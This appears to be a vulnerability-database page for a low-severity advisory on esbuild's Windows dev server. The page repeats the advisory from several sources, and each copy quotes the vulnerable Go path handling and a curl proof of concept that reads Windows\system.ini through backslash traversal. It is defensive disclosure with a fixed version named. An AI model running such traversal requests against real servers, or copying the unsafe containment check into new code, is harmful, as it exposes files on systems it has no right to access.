GHSA-g7r4-m6w7-qqqr
esbuild allows arbitrary file read when running the development server on Windows
GHSA-g7r4-m6w7-qqqr is a low vulnerability (CVSS 2.5) in esbuild, published June 12, 2026. No source lists public exploit code. Fixed in esbuild 0.28.1.
- Severity
- 2.5 LowCVSS 3.1, GitHub Advisories
- Exploit chance
- UnscoredNo EPSS score yet
- Exploitation
- None knownNot on CISA’s or ENISA’s lists
- Fixed in
0.28.1esbuild
Description
Summary
The development server contains a path traversal vulnerability on Windows when serving files from servedir.
Due to the use of path.Clean() (which only normalizes forward-slash / separators) instead of a Windows-aware path normalization function, it is possible to craft requests using backslashes (\) that bypass the intended directory containment logic. An attacker can escape the configured servedir root and access arbitrary files on the filesystem.
This issue affects Windows environments only.
Details
The request path is sanitized using:
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
queryPath := path.Clean(req.URL.Path)[1:]
However:
path.Clean()is POSIX-style and only understands/(docs:https://pkg.go.dev/path#Clean)- On Windows,
\is a valid path separator path.Clean()does not treat\as a separator
Later, the server constructs the absolute path:
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L221
absPath := h.fs.Join(h.servedir, queryPath)
If queryPath contains sequences such as:
..\..\..\..\..\..\..\Windows\system.ini
path.Clean() will not normalize them, but the Windows filesystem will interpret \ as directory separators when resolving absPath.
Because the implementation does not verify that the final resolved path remains within servedir, it allows directory traversal outside the intended root directory.
Vulnerable Code
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
queryPath := path.Clean(req.URL.Path)[1:]
....
// Check for a file in the "servedir" directory
if h.servedir != "" && kind != fs.FileEntry {
absPath := h.fs.Join(h.servedir, queryPath)
if absDir := h.fs.Dir(absPath); absDir != absPath {
if entries, err, _ := h.fs.ReadDirectory(absDir); err == nil {
if entry, _ := entries.Get(h.fs.Base(absPath)); entry != nil && entry.Kind(h.fs) == fs.FileEntry {
....
Steps to reproduce
npm install --save-exact --save-dev esbuild
echo "console.log(1)" > app.js
.\node_modules\.bin\esbuild --version
0.27.3
.\node_modules\.bin\esbuild app.js --bundle --outdir=www --servedir=www --watch
curl -i --path-as-is "http://localhost:8000/..\..\..\..\..\..\..\Windows\system.ini"
<content of Windows\system.ini>
Impact
- Arbitrary file read on Windows
- Exposure of sensitive files
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- High
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- Low
- Availability
- None
Affected packages
| Package | Affected | Fixed |
|---|---|---|
esbuildnpm | 0.27.3 up to 0.28.1 | 0.28.1 |
What each source reports
GitHub Advisories Score used 2.5
esbuild allows arbitrary file read when running the development server on Windows
Summary
The development server contains a path traversal vulnerability on Windows when serving files from servedir.
Due to the use of path.Clean() (which only normalizes forward-slash / separators) instead of a Windows-aware path normalization function, it is possible to craft requests using backslashes (\) that bypass the intended directory containment logic. An attacker can escape the configured servedir root and access arbitrary files on the filesystem.
This issue affects Windows environments only.
Details
The request path is sanitized using:
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
queryPath := path.Clean(req.URL.Path)[1:]
However:
path.Clean()is POSIX-style and only understands/(docs:https://pkg.go.dev/path#Clean)- On Windows,
\is a valid path separator path.Clean()does not treat\as a separator
Later, the server constructs the absolute path:
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L221
absPath := h.fs.Join(h.servedir, queryPath)
If queryPath contains sequences such as:
..\..\..\..\..\..\..\Windows\system.ini
path.Clean() will not normalize them, but the Windows filesystem will interpret \ as directory separators when resolving absPath.
Because the implementation does not verify that the final resolved path remains within servedir, it allows directory traversal outside the intended root directory.
Vulnerable Code
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
queryPath := path.Clean(req.URL.Path)[1:]
....
// Check for a file in the "servedir" directory
if h.servedir != "" && kind != fs.FileEntry {
absPath := h.fs.Join(h.servedir, queryPath)
if absDir := h.fs.Dir(absPath); absDir != absPath {
if entries, err, _ := h.fs.ReadDirectory(absDir); err == nil {
if entry, _ := entries.Get(h.fs.Base(absPath)); entry != nil && entry.Kind(h.fs) == fs.FileEntry {
....
Steps to reproduce
npm install --save-exact --save-dev esbuild
echo "console.log(1)" > app.js
.\node_modules\.bin\esbuild --version
0.27.3
.\node_modules\.bin\esbuild app.js --bundle --outdir=www --servedir=www --watch
curl -i --path-as-is "http://localhost:8000/..\..\..\..\..\..\..\Windows\system.ini"
<content of Windows\system.ini>
Impact
- Arbitrary file read on Windows
- Exposure of sensitive files
- Record
GHSA-g7r4-m6w7-qqqr- CVSS 3.1
- 2.5 Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV 2.5
esbuild allows arbitrary file read when running the development server on Windows
Summary
The development server contains a path traversal vulnerability on Windows when serving files from servedir.
Due to the use of path.Clean() (which only normalizes forward-slash / separators) instead of a Windows-aware path normalization function, it is possible to craft requests using backslashes (\) that bypass the intended directory containment logic. An attacker can escape the configured servedir root and access arbitrary files on the filesystem.
This issue affects Windows environments only.
Details
The request path is sanitized using:
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
queryPath := path.Clean(req.URL.Path)[1:]
However:
path.Clean()is POSIX-style and only understands/(docs:https://pkg.go.dev/path#Clean)- On Windows,
\is a valid path separator path.Clean()does not treat\as a separator
Later, the server constructs the absolute path:
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L221
absPath := h.fs.Join(h.servedir, queryPath)
If queryPath contains sequences such as:
..\..\..\..\..\..\..\Windows\system.ini
path.Clean() will not normalize them, but the Windows filesystem will interpret \ as directory separators when resolving absPath.
Because the implementation does not verify that the final resolved path remains within servedir, it allows directory traversal outside the intended root directory.
Vulnerable Code
// https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165
queryPath := path.Clean(req.URL.Path)[1:]
....
// Check for a file in the "servedir" directory
if h.servedir != "" && kind != fs.FileEntry {
absPath := h.fs.Join(h.servedir, queryPath)
if absDir := h.fs.Dir(absPath); absDir != absPath {
if entries, err, _ := h.fs.ReadDirectory(absDir); err == nil {
if entry, _ := entries.Get(h.fs.Base(absPath)); entry != nil && entry.Kind(h.fs) == fs.FileEntry {
....
Steps to reproduce
npm install --save-exact --save-dev esbuild
echo "console.log(1)" > app.js
.\node_modules\.bin\esbuild --version
0.27.3
.\node_modules\.bin\esbuild app.js --bundle --outdir=www --servedir=www --watch
curl -i --path-as-is "http://localhost:8000/..\..\..\..\..\..\..\Windows\system.ini"
<content of Windows\system.ini>
Impact
- Arbitrary file read on Windows
- Exposure of sensitive files
- Record
GHSA-g7r4-m6w7-qqqr- CVSS 3.1
- 2.5 Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | GitHub Advisories, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.